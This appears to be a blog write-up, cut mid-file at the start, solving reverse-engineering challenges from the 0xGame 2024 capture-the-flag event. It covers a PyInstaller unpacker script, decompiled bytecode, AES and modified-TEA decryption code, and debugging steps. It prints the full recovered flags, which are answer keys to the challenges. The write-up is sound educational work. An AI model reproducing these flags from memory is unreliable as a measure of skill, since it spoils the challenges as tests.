print("[+] Python version: {0}.{1}".format(self.pymaj, self.pymin))

# Additional data after the cookie
tailBytes = (
self.fileSize
- self.cookiePos
- (
self.PYINST20_COOKIE_SIZE
if self.pyinstVer == 20
else self.PYINST21_COOKIE_SIZE
)
)

# Overlay is the data appended at the end of the PE
self.overlaySize = lengthofPackage + tailBytes
self.overlayPos = self.fileSize - self.overlaySize
self.tableOfContentsPos = self.overlayPos + toc
self.tableOfContentsSize = tocLen

print("[+] Length of package: {0} bytes".format(lengthofPackage))
return True

def parseTOC(self):
# Go to the table of contents
self.fPtr.seek(self.tableOfContentsPos, os.SEEK_SET)

self.tocList = []
parsedLen = 0

# Parse table of contents
while parsedLen < self.tableOfContentsSize:
(entrySize,) = struct.unpack("!i", self.fPtr.read(4))
nameLen = struct.calcsize("!iIIIBc")

(
entryPos,
cmprsdDataSize,
uncmprsdDataSize,
cmprsFlag,
typeCmprsData,
name,
) = struct.unpack(
"!IIIBc{0}s".format(entrySize - nameLen), self.fPtr.read(entrySize - 4)
)

try:
name = name.decode("utf-8").rstrip("\0")
except UnicodeDecodeError:
newName = str(uniquename())
print('[!] Warning: File name {0} contains invalid bytes. Using random name {1}'.format(name, newName))
name = newName

# Prevent writing outside the extraction directory
if name.startswith("/"):
name = name.lstrip("/")

if len(name) == 0:
name = str(uniquename())
print(
"[!] Warning: Found an unamed file in CArchive. Using random name {0}".format(
name
)
)

self.tocList.append(
CTOCEntry(
self.overlayPos + entryPos,
cmprsdDataSize,
uncmprsdDataSize,
cmprsFlag,
typeCmprsData,
name,
)
)

parsedLen += entrySize
print("[+] Found {0} files in CArchive".format(len(self.tocList)))

def _writeRawData(self, filepath, data):
nm = (
filepath.replace("\\", os.path.sep)
.replace("/", os.path.sep)
.replace("..", "__")
)
nmDir = os.path.dirname(nm)
if nmDir != "" and not os.path.exists(
nmDir
): # Check if path exists, create if not
os.makedirs(nmDir)

with open(nm, "wb") as f:
f.write(data)

def extractFiles(self, one_dir):
print("[+] Beginning extraction...please standby")
extractionDir = os.path.join(
os.getcwd(), os.path.basename(self.filePath) + "_extracted"
)

if not os.path.exists(extractionDir):
os.mkdir(extractionDir)

os.chdir(extractionDir)

for entry in self.tocList:
self.fPtr.seek(entry.position, os.SEEK_SET)
data = self.fPtr.read(entry.cmprsdDataSize)

if entry.cmprsFlag == 1:
data = zlib.decompress(data)
# Malware may tamper with the uncompressed size
# Comment out the assertion in such a case
assert len(data) == entry.uncmprsdDataSize # Sanity Check

if entry.typeCmprsData == b"d" or entry.typeCmprsData == b"o":
# d -> ARCHIVE_ITEM_DEPENDENCY
# o -> ARCHIVE_ITEM_RUNTIME_OPTION
# These are runtime options, not files
continue

basePath = os.path.dirname(entry.name)
if basePath != "":
# Check if path exists, create if not
if not os.path.exists(basePath):
os.makedirs(basePath)

if entry.typeCmprsData == b"s":
# s -> ARCHIVE_ITEM_PYSOURCE
# Entry point are expected to be python scripts
print("[+] Possible entry point: {0}.pyc".format(entry.name))

if self.pycMagic == b"\0" * 4:
# if we don't have the pyc header yet, fix them in a later pass
self.barePycList.append(entry.name + ".pyc")
self._writePyc(entry.name + ".pyc", data)

elif entry.typeCmprsData == b"M" or entry.typeCmprsData == b"m":
# M -> ARCHIVE_ITEM_PYPACKAGE
# m -> ARCHIVE_ITEM_PYMODULE
# packages and modules are pyc files with their header intact

# From PyInstaller 5.3 and above pyc headers are no longer stored
# https://github.com/pyinstaller/pyinstaller/commit/a97fdf
if data[2:4] == b"\r\n":
# < pyinstaller 5.3
if self.pycMagic == b"\0" * 4:
self.pycMagic = data[0:4]
self._writeRawData(entry.name + ".pyc", data)

if entry.name.endswith("_crypto_key"):
print(
"[+] Detected _crypto_key file, saving key for automatic decryption"
)
# This is a pyc file with a header (8,12, or 16 bytes)
# Extract the code object after the header
self.cryptoKeyFileData = self._extractCryptoKeyObject(data)

else:
# >= pyinstaller 5.3
if self.pycMagic == b"\0" * 4:
# if we don't have the pyc header yet, fix them in a later pass
self.barePycList.append(entry.name + ".pyc")

self._writePyc(entry.name + ".pyc", data)

if entry.name.endswith("_crypto_key"):
print(
"[+] Detected _crypto_key file, saving key for automatic decryption"
)
# This is a plain code object without a header
self.cryptoKeyFileData = data

else:
self._writeRawData(entry.name, data)

if entry.typeCmprsData == b"z" or entry.typeCmprsData == b"Z":
self._extractPyz(entry.name, one_dir)

# Fix bare pyc's if any
self._fixBarePycs()

def _fixBarePycs(self):
for pycFile in self.barePycList:
with open(pycFile, "r+b") as pycFile:
# Overwrite the first four bytes
pycFile.write(self.pycMagic)

def _extractCryptoKeyObject(self, data):
if self.pymaj >= 3 and self.pymin >= 7:
# 16 byte header for 3.7 and above
return data[16:]
elif self.pymaj >= 3 and self.pymin >= 3:
# 12 byte header for 3.3-3.6
return data[12:]
else:
# 8 byte header for 2.x, 3.0-3.2
return data[8:]

def _writePyc(self, filename, data):
with open(filename, "wb") as pycFile:
pycFile.write(self.pycMagic) # pyc magic

if self.pymaj >= 3 and self.pymin >= 7: # PEP 552 -- Deterministic pycs
pycFile.write(b"\0" * 4) # Bitfield
pycFile.write(b"\0" * 8) # (Timestamp + size) || hash

else:
pycFile.write(b"\0" * 4) # Timestamp
if self.pymaj >= 3 and self.pymin >= 3:
pycFile.write(b"\0" * 4) # Size parameter added in Python 3.3

pycFile.write(data)

def _getCryptoKey(self):
if self.cryptoKey:
return self.cryptoKey

if not self.cryptoKeyFileData:
return None

co = load_code(self.cryptoKeyFileData, pycHeader2Magic(self.pycMagic))
self.cryptoKey = co.co_consts[0]
return self.cryptoKey

def _tryDecrypt(self, ct, aes_mode):
CRYPT_BLOCK_SIZE = 16

key = bytes(self._getCryptoKey(), "utf-8")
assert len(key) == 16

# Initialization vector
iv = ct[:CRYPT_BLOCK_SIZE]

if aes_mode == "ctr":
# Pyinstaller >= 4.0 uses AES in CTR mode
ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big"))
cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
return cipher.decrypt(ct[CRYPT_BLOCK_SIZE:])

elif aes_mode == "cfb":
# Pyinstaller < 4.0 uses AES in CFB mode
cipher = AES.new(key, AES.MODE_CFB, iv)
return cipher.decrypt(ct[CRYPT_BLOCK_SIZE:])

def _extractPyz(self, name, one_dir):
if one_dir == True:
dirName = "."
else:
dirName = name + "_extracted"
# Create a directory for the contents of the pyz
if not os.path.exists(dirName):
os.mkdir(dirName)

with open(name, "rb") as f:
pyzMagic = f.read(4)
assert pyzMagic == b"PYZ\0" # Sanity Check

pyzPycMagic = f.read(4) # Python magic value

if self.pycMagic == b"\0" * 4:
self.pycMagic = pyzPycMagic

elif self.pycMagic != pyzPycMagic:
self.pycMagic = pyzPycMagic
print(
"[!] Warning: pyc magic of files inside PYZ archive are different from those in CArchive"
)

(tocPosition,) = struct.unpack("!i", f.read(4))
f.seek(tocPosition, os.SEEK_SET)

try:
toc = load_code(f, pycHeader2Magic(pyzPycMagic))
except:
print(
"[!] Unmarshalling FAILED. Cannot extract {0}. Extracting remaining files.".format(
name
)
)
return

print("[+] Found {0} files in PYZ archive".format(len(toc)))

# From pyinstaller 3.1+ toc is a list of tuples
if type(toc) == list:
toc = dict(toc)

for key in toc.keys():
(ispkg, pos, length) = toc[key]
f.seek(pos, os.SEEK_SET)
fileName = key

try:
# for Python > 3.3 some keys are bytes object some are str object
fileName = fileName.decode("utf-8")
except:
pass

# Prevent writing outside dirName
fileName = fileName.replace("..", "__").replace(".", os.path.sep)

if ispkg == 1:
filePath = os.path.join(dirName, fileName, "__init__.pyc")

else:
filePath = os.path.join(dirName, fileName + ".pyc")

fileDir = os.path.dirname(filePath)
if not os.path.exists(fileDir):
os.makedirs(fileDir)

try:
data = f.read(length)
data = zlib.decompress(data)
except:
try:
# Automatic decryption
# Make a copy
data_copy = data

# Try CTR mode, Pyinstaller >= 4.0 uses AES in CTR mode
data = self._tryDecrypt(data, "ctr")
data = zlib.decompress(data)
except:
# Try CFB mode, Pyinstaller < 4.0 uses AES in CFB mode
try:
data = data_copy
data = self._tryDecrypt(data, "cfb")
data = zlib.decompress(data)
except:
eprint(
"[!] Error: Failed to decrypt & decompress {0}. Extracting as is.".format(
filePath
)
)
open(filePath + ".encrypted", "wb").write(data_copy)
continue

self._writePyc(filePath, data)


def main():
parser = argparse.ArgumentParser(description="PyInstaller Extractor NG")
parser.add_argument("filename", help="Path to the file to extract")
parser.add_argument(
"-d",
"--one-dir",
help="One directory mode, extracts the pyz in the same directory as the executable",
action="store_true",
)
args = parser.parse_args()

arch = PyInstArchive(args.filename)
if arch.open():
if arch.checkFile():
if arch.getCArchiveInfo():
arch.parseTOC()
arch.extractFiles(args.one_dir)
arch.close()
print(
"[+] Successfully extracted pyinstaller archive: {0}".format(
args.filename
)
)
print("")
print(
"You can now use a python decompiler on the pyc files within the extracted directory"
)
sys.exit(0)

arch.close()
sys.exit(1)


if __name__ == "__main__":
main()

运行python exp.py -d PyPro.exe

在目录下得到PyPro.exe_extracted目录,进去找到PyPro.pyc

image-20241028182805520

因为是python 3.12,所以用pycdc进行反编译

image-20241028182833584

得到结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
File Name: PyPro.py
Object Name: <module>
Qualified Name: <module>
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 2
Flags: 0x00000000
[Names]
'base64'
'Crypto.Cipher'
'AES'
'Crypto.Util.number'
'long_to_bytes'
'key'
'PKCS5_pad'
'main'
'__name__'
[Locals+Names]
[Constants]
0
None
(
'AES'
)
(
'long_to_bytes'
)
0x554B134A029DE539438BD18604BF114
[Code]
File Name: PyPro.py
Object Name: PKCS5_pad
Qualified Name: PKCS5_pad
Arg Count: 1
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 5
Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
[Names]
'len'
'ljust'
'to_bytes'
[Locals+Names]
'data'
'length'
[Constants]
None
48
[Disassembly]
0 RESUME 0
2 LOAD_GLOBAL 1: NULL + len
12 LOAD_FAST 0: data
14 CALL 1
22 LOAD_CONST 1: 48
24 COMPARE_OP 2 (<)
28 POP_JUMP_IF_FALSE 46 (to 122)
30 LOAD_CONST 1: 48
32 LOAD_GLOBAL 1: NULL + len
42 LOAD_FAST 0: data
44 CALL 1
52 BINARY_OP 10 (-)
56 STORE_FAST 1: length
58 LOAD_FAST 0: data
60 LOAD_ATTR 3: ljust
80 LOAD_CONST 1: 48
82 LOAD_FAST 1: length
84 LOAD_ATTR 5: to_bytes
104 CALL 0
112 CALL 2
120 RETURN_VALUE
122 RETURN_CONST 0: None
[Code]
File Name: PyPro.py
Object Name: main
Qualified Name: main
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 5
Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
[Names]
'input'
'encode'
'len'
'print'
'range'
'exit'
'ord'
'AES'
'new'
'long_to_bytes'
'key'
'MODE_ECB'
'encrypt'
'PKCS5_pad'
'base64'
'b64encode'
'decode'
[Locals+Names]
'enc'
'i'
'chiper'
'result'
'data'
[Constants]
None
'鍦ㄨ繖閲岃緭鍏ヤ綘鐨刦lag:\n'
'utf-8'
44
'length error!'
123
6
'{'
-1
'}'
'format error'
1
'2e8Ugcv8lKVhL3gkv3grJGNE3UqkjlvKqCgJSGRNHHEk98Kd0wv6s60GpAUsU+8Q'
'flag姝g‘'
'閿欒'
[Disassembly]
0 RESUME 0
2 LOAD_GLOBAL 1: NULL + input
12 LOAD_CONST 1: '鍦ㄨ繖閲岃緭鍏ヤ綘鐨刦lag:\n'
14 CALL 1
22 LOAD_ATTR 3: encode
42 LOAD_CONST 2: 'utf-8'
44 CALL 1
52 STORE_FAST 0: enc
54 LOAD_GLOBAL 5: NULL + len
64 LOAD_FAST 0: enc
66 CALL 1
74 LOAD_CONST 3: 44
76 COMPARE_OP 55 (!=)
80 POP_JUMP_IF_FALSE 48 (to 178)
82 LOAD_GLOBAL 7: NULL + print
92 LOAD_CONST 4: 'length error!'
94 CALL 1
102 POP_TOP
104 LOAD_GLOBAL 9: NULL + range
114 LOAD_GLOBAL 5: NULL + len
124 LOAD_FAST 0: enc
126 CALL 1
134 CALL 1
142 GET_ITER
144 FOR_ITER 2 (to 150)
148 STORE_FAST 1: i
150 JUMP_BACKWARD 4 (to 144)
152 END_FOR
154 LOAD_GLOBAL 11: NULL + exit
164 LOAD_CONST 5: 123
166 CALL 1
174 POP_TOP
176 JUMP_FORWARD 57 (to 292)
178 LOAD_FAST 0: enc
180 LOAD_CONST 6: 6
182 BINARY_SUBSCR
186 LOAD_GLOBAL 13: NULL + ord
196 LOAD_CONST 7: '{'
198 CALL 1
206 COMPARE_OP 55 (!=)
210 POP_JUMP_IF_TRUE 17 (to 246)
212 LOAD_FAST 0: enc
214 LOAD_CONST 8: -1
216 BINARY_SUBSCR
220 LOAD_GLOBAL 13: NULL + ord
230 LOAD_CONST 9: '}'
232 CALL 1
240 COMPARE_OP 55 (!=)
244 POP_JUMP_IF_FALSE 23 (to 292)
246 LOAD_GLOBAL 7: NULL + print
256 LOAD_CONST 10: 'format error'
258 CALL 1
266 POP_TOP
268 LOAD_GLOBAL 11: NULL + exit
278 LOAD_CONST 11: 1
280 CALL 1
288 POP_TOP
290 NOP
292 LOAD_GLOBAL 15: NULL + AES
302 LOAD_ATTR 16: new
322 LOAD_GLOBAL 19: NULL + long_to_bytes
332 LOAD_GLOBAL 20: key
342 CALL 1
350 LOAD_GLOBAL 14: AES
360 LOAD_ATTR 22: MODE_ECB
380 CALL 2
388 STORE_FAST 2: chiper
390 LOAD_FAST 2: chiper
392 LOAD_ATTR 25: encrypt
412 LOAD_GLOBAL 27: NULL + PKCS5_pad
422 LOAD_FAST 0: enc
424 CALL 1
432 CALL 1
440 STORE_FAST 0: enc
442 LOAD_GLOBAL 29: NULL + base64
452 LOAD_ATTR 30: b64encode
472 LOAD_FAST 0: enc
474 CALL 1
482 STORE_FAST 3: result
484 LOAD_CONST 12: '2e8Ugcv8lKVhL3gkv3grJGNE3UqkjlvKqCgJSGRNHHEk98Kd0wv6s60GpAUsU+8Q'
486 STORE_FAST 4: data
488 LOAD_FAST 3: result
490 LOAD_ATTR 33: decode
510 CALL 0
518 LOAD_FAST 4: data
520 COMPARE_OP 40 (==)
524 POP_JUMP_IF_FALSE 12 (to 550)
526 LOAD_GLOBAL 7: NULL + print
536 LOAD_CONST 13: 'flag姝g‘'
538 CALL 1
546 POP_TOP
548 RETURN_CONST 0: None
550 LOAD_GLOBAL 7: NULL + print
560 LOAD_CONST 14: '閿欒'
562 CALL 1
570 POP_TOP
572 RETURN_CONST 0: None
'__main__'
[Disassembly]
0 RESUME 0
2 LOAD_CONST 0: 0
4 LOAD_CONST 1: None
6 IMPORT_NAME 0: base64
8 STORE_NAME 0: base64
10 LOAD_CONST 0: 0
12 LOAD_CONST 2: ('AES',)
14 IMPORT_NAME 1: Crypto.Cipher
16 IMPORT_FROM 2: AES
18 STORE_NAME 2: AES
20 POP_TOP
22 LOAD_CONST 0: 0
24 LOAD_CONST 3: ('long_to_bytes',)
26 IMPORT_NAME 3: Crypto.Util.number
28 IMPORT_FROM 4: long_to_bytes
30 STORE_NAME 4: long_to_bytes
32 POP_TOP
34 LOAD_CONST 4: 0x554B134A029DE539438BD18604BF114
36 STORE_NAME 5: key
38 LOAD_CONST 5: <CODE> PKCS5_pad
40 MAKE_FUNCTION 0
42 STORE_NAME 6: PKCS5_pad
44 LOAD_CONST 6: <CODE> main
46 MAKE_FUNCTION 0
48 STORE_NAME 7: main
50 LOAD_NAME 8: __name__
52 LOAD_CONST 7: '__main__'
54 COMPARE_OP 40 (==)
58 POP_JUMP_IF_FALSE 8 (to 76)
60 PUSH_NULL
62 LOAD_NAME 7: main
64 CALL 0
72 POP_TOP
74 RETURN_CONST 1: None
76 RETURN_CONST 1: None

知道大概是aes-ecb模式

key:0x554B134A029DE539438BD18604BF114

密文:2e8Ugcv8lKVhL3gkv3grJGNE3UqkjlvKqCgJSGRNHHEk98Kd0wv6s60GpAUsU+8Q

填充方式:PKCS5_pad

解出来发现有问题

image-20241028184429305

字符不可见,看了一下密钥是奇数个16进制,应该前面补若干个0(反编译不正确导致的)

image-20241028184514567

最终补一个0之后发现可解了

0xGame{1cb76d38-4900-476f-bf1b-9d59f74d7b2e}

Register

是一个注册机,原理就是给对用户名就可以给你flag

ida查找字符串

image-20241028190604359

发现可疑的用户名,进行调试下断点

image-20241028190641427

执行到if点击查看buf2就是flag

image-20241028190714094

得到flag

0xGame{1b4e549d12ccb4bb4936f95fedecebf55494dec8}

Tea2.0

ida打开找到主加密逻辑以及密文

image-20241030104535644

具体加密函数里面是tea魔改

image-20241030104627081

发现密文怎么改都不对,直到找到…..

image-20241030134232156

原来密文被改了啊,点击进去查看细节

image-20241030134300457

又是一层tea,不过我比较懒,直接动调起来看密文吧,这样自己就少解一层

image-20241030134521249

找到真正的密文,但是小端序,之前我都是手动提取,现在找到一个脚本自动转小端序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def byte2uint32(d):
l = []
for i in range(len(d) // 4):
tmp = d[i * 4:i * 4 + 4]
l.append(tmp[3] * 256 ** 3 + tmp[2] * 256 ** 2 + tmp[1] * 256 + tmp[0])
return l


a=[ 0xC4, 0xB2, 0x4B, 0xD0, 0x11, 0xCF, 0x25, 0xA6, 0x2B, 0x6F,
0x68, 0x57, 0x80, 0x16, 0x18, 0x3B, 0x75, 0x3F, 0xC3, 0x6F,
0x34, 0xB3, 0x79, 0x17, 0xF6, 0xA4, 0x5C, 0xD9, 0xA2, 0x9F,
0xCA, 0xC1, 0xFF, 0x6A, 0x1A, 0x65, 0x37, 0xBA, 0xDD, 0xC9,
0x63, 0xD1, 0x87, 0x30, 0x10, 0x7E, 0x7D, 0x18]

print(byte2uint32(a))

得到处理后的小端序的密文

1
[3494621892, 2787495697, 1466461995, 991434368, 1875066741, 393851700, 3646727414, 3251281826, 1696230143, 3386751543, 814207331, 410877456]

再去解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>


void decrypt(uint32_t* v, uint32_t* k)
{
uint32_t delta = -1640531527;
uint32_t v0 = v[0], v1 = v[1], sum = (delta * 64) & 0xffffffff, i;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 64; i++)
{
v1 -= (k[(sum>>11)&3]+sum)^(v0+((v0>>5)^(16*v0)));
sum -= delta;
v0 -= (k[(sum&3)]+sum)^(v1+((v1>>5)^(16*v1)));

}
v[0] = v0; v[1] = v1;
}

//0x018dc360, 0xd5835457
int main()
{
uint32_t array[] = {3494621892, 2787495697, 1466461995, 991434368, 1875066741, 393851700, 3646727414, 3251281826, 1696230143, 3386751543, 814207331, 410877456};
uint32_t key[4] = {0x00004512, 0x00009832, 0x00005647, 0x00006314};
for (int i = 0; i < 12; i += 2)
{
uint32_t temp[2];
temp[0] = array[i];
temp[1] = array[i + 1];
decrypt(temp, key);

printf("%c%c%c%c%c%c%c%c", *((char*)&temp[0] + 0), *((char*)&temp[0] + 1), *((char*)&temp[0] + 2), *((char*)&temp[0] + 3), *((char*)&temp[1] + 0), *((char*)&temp[1] + 1), *((char*)&temp[1] + 2), *((char*)&temp[1] + 3));
//更新data

}
return 0;
}
#0xGame{a7961e4b-c809-f340-412e-91abd2c9b535}

0xGame2024
http://www.qetx.top/posts/22633/
作者
Qetx.Jul.27
发布于
2024年10月6日
许可协议